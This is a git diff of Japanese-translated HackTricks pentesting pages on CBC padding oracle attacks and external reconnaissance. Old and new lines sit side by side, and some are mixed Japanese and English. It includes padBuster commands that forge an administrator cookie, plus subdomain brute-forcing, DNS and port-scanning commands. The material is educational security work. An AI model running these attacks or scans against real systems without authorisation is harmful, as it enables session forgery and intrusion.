Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,8 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining ## CBC - Cipher Block Chaining
@ -34,7 +32,7 @@ CBCを復号するには、**逆の** **操作**が行われます:
## Message Padding ## Message Padding
暗号化は**固定** **サイズ** **ブロック**で行われるため、**最後の** **ブロック**の長さを完了するために**パディング**が通常必要です。\ 暗号化は**固定** **サイズ** **ブロック**で行われるため、**最後の** **ブロック**の長さを完了するために**パディング**が通常必要です。\
通常、**PKCS7**が使用され、ブロックを完了するために必要な**バイト数**を**繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。 通常、**PKCS7**が使用され、ブロックを完了するために**必要なバイト数**を**繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。
**8バイトの長さの2つのブロック**の例を見てみましょう: **8バイトの長さの2つのブロック**の例を見てみましょう:
@ -51,7 +49,7 @@ CBCを復号するには、**逆の** **操作**が行われます:
アプリケーションが暗号化されたデータを復号するとき、最初にデータを復号し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作を引き起こす**場合、**パディングオラクルの脆弱性**があります。検出可能な動作は、**エラー**、**結果の欠如**、または**応答の遅延**である可能性があります。 アプリケーションが暗号化されたデータを復号するとき、最初にデータを復号し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作を引き起こす**場合、**パディングオラクルの脆弱性**があります。検出可能な動作は、**エラー**、**結果の欠如**、または**応答の遅延**である可能性があります。
この動作を検出すると、**暗号化されたデータを復号**し、さらには**任意の平文を暗号化**することができます。 この動作を検出した場合、**暗号化されたデータを復号**し、さらには**任意の平文を暗号化**することができます。
### How to exploit ### How to exploit
@ -69,7 +67,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -e
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
もしサイトが脆弱であれば、`padbuster`は自動的にパディングエラーが発生するタイミングを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。 サイトが脆弱な場合、`padbuster`は自動的にパディングエラーが発生するタイミングを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
@ -89,13 +87,13 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
* `C12 = I12 ^ E4` * `C12 = I12 ^ E4`
* ... * ...
今、`C15`が`0x01`になるように**`E7`を変更する**ことが可能です。これも正しいパディングになります。したがって、この場合:`\x01 = I15 ^ E'7` 今、`C15`が`0x01`になるまで`E7`を**変更**することが可能です。これは正しいパディングでもあります。したがって、この場合:`\x01 = I15 ^ E'7`
したがって、E'7を見つけることで、**I15を計算する**ことができます:`I15 = 0x01 ^ E'7` したがって、E'7を見つけることで、**I15を計算することが可能です**`I15 = 0x01 ^ E'7`
これにより、**C15を計算する**ことができます:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` これにより、**C15を計算することが可能です**`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
**C15**を知っているので、今度は**C14を計算する**ことが可能ですが、今回はパディング`\x02\x02`をブルートフォースします。 **C15**を知っているので、今度は**C14を計算することが可能です**が、今回はパディング`\x02\x02`をブルートフォースします。
このBFは前のものと同じくらい複雑で、値が0x02の`E''15`を計算することが可能です:`E''7 = \x02 ^ I15`。したがって、**`C14`が`0x02`に等しい**ように生成する**`E'14`**を見つけるだけです。\ このBFは前のものと同じくらい複雑で、値が0x02の`E''15`を計算することが可能です:`E''7 = \x02 ^ I15`。したがって、**`C14`が`0x02`に等しい**ように生成する**`E'14`**を見つけるだけです。\
次に、C14を復号するために同じ手順を実行します**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** 次に、C14を復号するために同じ手順を実行します**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
@ -105,30 +103,28 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
### 脆弱性の検出 ### 脆弱性の検出
アカウントを登録し、このアカウントでログインします。\ アカウントを登録し、このアカウントでログインします。\
もし**何度もログイン**して、常に**同じクッキー**を受け取る場合、アプリケーションに**何か**が**間違っている**可能性があります。**送されるクッキーは、ログインするたびにユニークであるべきです**。クッキーが**常に**同じであれば、おそらく常に有効であり、それを無効にする方法は**ありません**。 もし**何度もログイン**して、常に**同じクッキー**を受け取る場合、アプリケーションに**何か**が**間違っている**可能性があります。**送されるクッキーは、ログインするたびにユニークであるべきです**。クッキーが**常に**同じであれば、それはおそらく常に有効であり、無効にする方法は**ありません**。
今、もし**クッキーを変更しようとすると**、アプリケーションから**エラー**が返されるのがわかります。\ 今、もし**クッキーを変更**しようとすると、アプリケーションから**エラー**が返されるのがわかります。\
しかし、パディングをBF例えばpadbusterを使用すると、異なるユーザーのための別の有効なクッキーを取得することができます。このシナリオは、padbusterに対して脆弱である可能性が非常に高いです。 しかし、パディングをBF例えばpadbusterを使用すると、異なるユーザーのための別の有効なクッキーを取得することができます。このシナリオは、padbusterに対して脆弱である可能性が非常に高いです。
### 参考文献 ### 参考文献
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、練習する:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、練習する:<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,7 +15,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -35,7 +35,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
### **買収** ### **買収**
まず、**主要な会社が所有する他の会社**を知る必要があります。\ まず、**主要な会社が所有する他の会社**を知る必要があります。\
1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社が買収した他の会社を見ることができます。\ 1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社によって買収された他の会社を見ることができます。\
もう1つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。 もう1つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。
> さて、この時点でスコープ内のすべての会社を知っているはずです。彼らの資産を見つける方法を考えましょう。 > さて、この時点でスコープ内のすべての会社を知っているはずです。彼らの資産を見つける方法を考えましょう。
@ -43,17 +43,17 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
### **ASNs** ### **ASNs**
自律システム番号(**ASN**)は、**インターネット番号割り当て機関IANA**によって**自律システム**ASに割り当てられた**ユニークな番号**です。\ 自律システム番号(**ASN**)は、**インターネット番号割り当て機関IANA**によって**自律システム**ASに割り当てられた**ユニークな番号**です。\
**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレスのブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成される場合があります。 **AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレス****ブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成される場合があります。
**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ内のすべてのホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\ **会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ内のすべてのホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\
[**https://bgp.he.net/**](https://bgp.he.net)で会社の**名前**、**IP**、または**ドメイン**で**検索**できます。\ [**https://bgp.he.net/**](https://bgp.he.net)で会社の**名前**、**IP**、または**ドメイン**で**検索**できます。\
**会社の地域によっては、次のリンクがデータ収集に役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報**IP範囲とWhoisは最初のリンクにすでに表示されています。** **会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、らくすべての**有用な情報**IP範囲とWhoisは最初のリンクにすでに表示されています。**
```bash ```bash
#You can try "automate" this with amass, but it's not very recommended #You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla amass intel -org tesla
amass intel -asn 8911,50313,394161 amass intel -asn 8911,50313,394161
``` ```
また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)**の**サブドメイン列挙は、スキャンの最後にASNを自動的に集約し要約します。 また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)**の**サブドメイン列挙は、スキャンの最後にASNを自動的に集約し要約します。
```bash ```bash
bbot -t tesla.com -f subdomain-enum bbot -t tesla.com -f subdomain-enum
... ...
@ -89,7 +89,7 @@ _以下の提案された技術では、サブドメインも見つけること
### **逆引きDNS** ### **逆引きDNS**
ドメインのIP範囲をすべて見つけたので、これらの**IPに対して逆引きDNSルックアップを実行して、スコープ内の他のドメインを見つけることができます。**被害者のDNSサーバーまたは一般的なDNSサーバー1.1.1.1、8.8.8.8)を使用してみてください。 ドメインのIP範囲をすべて見つけたので、**スコープ内のより多くのドメインを見つけるために、これらの**IPに対して**逆引きDNSルックアップを実行してみることができます。** 被害者のDNSサーバーまたは一般的なDNSサーバー1.1.1.1、8.8.8.8)を使用してみてください。
```bash ```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -194,17 +194,17 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga
**Assetfinder** **Assetfinder**
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **関連するドメイン** with a main domain and **それらのサブドメイン**, pretty amazing. [**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **メインドメインに関連するドメイン**とその**サブドメイン**を探す、非常に素晴らしいです。
### **脆弱性の調査** ### **脆弱性の探索**
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **使用しているドメイン** but they **所有権を失った**. Just register it (if cheap enough) and let know the company. Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
If you find any **IPが異なるドメイン** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ _Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**バグバウンティのヒント**: **サインアップ** for **Intigriti**, a premium **バグバウンティプラットフォーム created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! **バグバウンティのヒント**: **サインアップ**して**Intigriti**に参加しましょう。ハッカーによって、ハッカーのために作られたプレミアム**バグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を得始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -226,7 +226,7 @@ dnsrecon -a -d tesla.com
``` ```
### **OSINT** ### **OSINT**
多くのサブドメインを迅速に取得する最も早い方法は、外部ソースで検索することです。最も使用される**ツール**は以下の通りですより良い結果を得るためにAPIキーを設定してください 多くのサブドメインを迅速に取得する最も簡単な方法は、外部ソースで検索することです。最も使用される**ツール**は以下の通りですより良い結果を得るためにAPIキーを設定してください
* [**BBOT**](https://github.com/blacklanternsecurity/bbot) * [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash ```bash
@ -307,7 +307,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
} }
crt tesla.com crt tesla.com
``` ```
* [**gau**](https://github.com/lc/gau)**:** 任意のドメインに対して、AlienVaultのOpen Threat Exchange、Wayback Machine、およびCommon Crawlから既知のURLを取得します。 * [**gau**](https://github.com/lc/gau)**:** 指定されたドメインに対して、AlienVaultのOpen Threat Exchange、Wayback Machine、およびCommon Crawlから既知のURLを取得します。
```bash ```bash
# Get subdomains from GAUs found URLs # Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@ -374,17 +374,17 @@ gobuster dns -d mysite.com -t 50 -w subdomains.txt
``` ```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
* [**puredns**](https://github.com/d3mondev/puredns): それは `massdns` も使用します。 * [**puredns**](https://github.com/d3mondev/puredns): それは `massdns` も使用しています。
``` ```
puredns bruteforce all.txt domain.com puredns bruteforce all.txt domain.com
``` ```
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) は、asyncioを使用してドメイン名を非同期にブルートフォースします。 * [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) は、非同期にドメイン名をブルートフォースするために asyncio を使用します。
``` ```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
``` ```
### 第二のDNSブルートフォースラウンド ### 第二のDNSブルートフォースラウンド
オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変種を生成してさらに多くを見つけることができます。この目的のために役立つツールがいくつかあります: オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つたサブドメインの変種を生成してさらに多くを見つけることができます。この目的のために役立つツールがいくつかあります:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えると、順列を生成します。 * [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えると、順列を生成します。
```bash ```bash
@ -405,7 +405,7 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
``` ```
* [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、変更を行うための別のツール。このツールは結果をブルートフォースしますDNSワイルドカードはサポートしていません * [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、変更を行うための別のツール。このツールは結果をブルートフォースしますDNSワイルドカードはサポートしていません
* dmutの順列ワードリストは[**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)から取得できます。 * dmutの順列ワードリストは[**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)で入手できます。
```bash ```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
@ -420,13 +420,13 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid puredns resolve adobe.brute --write adobe.valid
``` ```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズザです。提供された入力データセットカスタマイズされた単語リストや過去のDNS/TLSレコードなどを利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてループ内でさらに拡張します。 * [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムを備えたサブドメインブルートフォースファズァです。提供された入力データセットカスタマイズされた単語リストや過去のDNS/TLSレコードなどを利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてループ内でさらに拡張します。
``` ```
echo www | subzuf facebook.com echo www | subzuf facebook.com
``` ```
### **サブドメイン発見ワークフロー** ### **サブドメイン発見ワークフロー**
私が書いたこのブログ記事をチェックしてください。**Trickestワークフロー**を使用してドメインから**サブドメイン発見を自動化する**方法について説明しています。これにより、コンピュータでツールを手動で起動する必要がなくなります。 私が書いたブログ記事をチェックしてください。**Trickestワークフロー**を使用してドメインから**サブドメイン発見を自動化する**方法について説明しています。これにより、コンピュータでツールを手動で起動する必要がなくなります。
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
@ -462,7 +462,7 @@ VHostScan -t example.com
### **CORSブルートフォース** ### **CORSブルートフォース**
々、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されている場合にのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このシナリオでは、この動作を悪用して新しい **サブドメイン****発見** することができます。 には、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されているときにのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい **サブドメイン****発見** することができます。
```bash ```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
``` ```
@ -473,22 +473,22 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **モニタリング** ### **モニタリング**
**新しいサブドメイン**が作成されたかどうかを監視するには、**証明書透明性**ログを監視することができます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)がそれを行います。 **新しいサブドメイン**が作成されたかどうかを監視するには、**Certificate Transparency**ログを監視することができます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)がそれを行います。
### **脆弱性の検索** ### **脆弱性の検索**
可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\ 可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\
**サブドメイン**が**S3バケット**を指している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。 もし**サブドメイン**が**S3バケット**を指している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。
もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**NessusOpenVASを使用と、**ポートスキャン****nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスに応じて、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\ もし**異なるIPを持つサブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**NessusまたはOpenVASを使用と、**ポートスキャン****nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスに応じて、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\
_サブドメインがクライアントによって制御されていないIP内にホストされていることがあるため、スコープ外であることに注意してください。_ _サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外であることに注意してください。_
## IPs ## IPs
初期のステップで、**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません**。\ 初期のステップで、**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません**。\
これらの範囲から**すべてのIPを収集**し、**ドメイン/サブドメインDNSクエリ**のための時間です。 これらの範囲から**すべてのIPを収集**し、**ドメイン/サブドメインDNSクエリ**のための時間です。
以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはクライアントによってまだ所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。 以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**を見つけることもできます。これらのIPはクライアントによってまだ所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。
* [**https://securitytrails.com/**](https://securitytrails.com/) * [**https://securitytrails.com/**](https://securitytrails.com/)
@ -498,7 +498,7 @@ _サブドメインがクライアントによって制御されていないIP
**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスで、**脆弱性を見つけることができるかもしれません**。 **CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスで、**脆弱性を見つけることができるかもしれません**。
**ホストをスキャンする方法についての**[**ガイド**](../pentesting-network/)**を見つけてください。** **ホストをスキャンする方法に関する**[**ガイド**](../pentesting-network/)を見つけてください。
## ウェブサーバーハンティング ## ウェブサーバーハンティング
@ -516,7 +516,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
``` ```
### **スクリーンショット** ### **スクリーンショット**
スコープ内に存在する**すべてのウェブサーバー**(会社の**IP**やすべての**ドメイン**、**サブドメイン**の中から)を発見したので、どこから始めればよいかわからないかもしれません。そこで、シンプルにして、すべてのサーバーのスクリーンショットを撮ることから始めましょう。**メインページ**を**見るだけ**で、**脆弱性**がある可能性の高い**奇妙な**エンドポイントを見つけることができます。 スコープ内に存在する**すべてのウェブサーバー**(会社の**IP**やすべての**ドメイン**、**サブドメイン**の中)を発見したので、どこから始めればよいかわからないかもしれません。そこで、シンプルにして、すべてのサーバーのスクリーンショットを撮ることから始めましょう。**メインページ**を**見るだけ**で、**脆弱性**がある可能性の高い**奇妙な**エンドポイントを見つけることができます。
提案されたアイデアを実行するには、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**を使用できます。** 提案されたアイデアを実行するには、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**を使用できます。**
@ -524,19 +524,19 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## パブリッククラウド資産 ## パブリッククラウド資産
会社に属する潜在的なクラウド資産を見つけるためには、**その会社を特定するキーワードのリストから始めるべきです**。たとえば、暗号会社の場合、次のような単語を使用することがあります:`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`。 会社に属する潜在的なクラウド資産を見つけるためには、**その会社を特定するキーワードのリストから始める**べきです。たとえば、暗号会社の場合、次のような単語を使用することがあります:`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`。
また、**バケットで使用される一般的な単語のワードリスト**も必要です: **バケットで使用される一般的な単語のワードリスト**も必要です:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) * [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
